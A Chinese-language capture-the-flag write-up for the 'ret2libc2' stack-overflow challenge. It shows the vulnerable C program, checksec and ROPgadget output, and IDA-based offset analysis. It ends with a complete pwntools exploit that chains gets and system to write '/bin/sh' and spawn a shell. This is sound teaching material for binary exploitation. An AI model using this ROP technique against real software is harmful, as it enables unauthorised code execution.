ret2libc2

看C代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

char buf2[100];

void secure(void)
{
int secretcode, input;
srand(time(NULL));

secretcode = rand();
scanf("%d", &input);
if(input == secretcode)
system("no_shell_QQ");
}

int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);

char buf1[100];

printf("Something surprise here, but I don't think it will work.\n");
printf("What do you think ?");
gets(buf1);

return 0;
}

一、程序分析

checksec查看一下程序的保护机制

1
2
3
4
5
6
7
8
zhuyuan@zhuyuan-vm:~/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc2$ checksec ret2libc2
[*] '/home/zhuyuan/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc2/ret2libc2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

开启了NX保护,所以无法向栈中添加shellcode或者进行跳转实现

1
2
3
4
zhuyuan@zhuyuan-vm:~/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc2$ ROPgadget --binary ret2libc2 --string '/bin/sh'
Strings information
============================================================

可以看见,利用工具ROPgadget查询不到’/bin/sh’,这道题比retl2libc少了个‘/bin/sh’

所以需要我们自己来构造’/bin/sh’

ida查看

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("Something surprise here, but I don't think it will work.");
printf("What do you think ?");
gets((char *)&v4);
return 0;
}

溢出点在gets函数,v4距离esp栈顶指针0x1c,距离ebp栈底指针0x64,所以v4地址距离ret返回地址为0x6c+4

查找system函数地址

1
2
3
4
5
zhuyuan@zhuyuan-vm:~/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc2$ ROPgadget --binary ret2libc2 --string 'system'
Strings information
============================================================
0x0804831a : system

二、溢出思路

返回地址先设置为get函数,然后把’/bin/sh’写入到buf2中,然后通过gadget返回到system

三、EXP

exp如下:

1
2
3
4
5
6
7
8
9
10
from pwn import*
sh = process('./ret2libc2')
buf2_addr = p32(0x0804A080)
gets_addr = p32(0x08048460)
system_addr = p32(0x08048490)
pop_ebx_ret = p32(0x0804843d)
payload = b'A'*112 + gets_addr + pop_ebx_ret + buf2_addr + system_addr + b'dsad' + buf2_addr
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

pop_ebx_ret的作用是使esp上移4指向system。实际上pop到别的寄存器也可以,不一定是ebx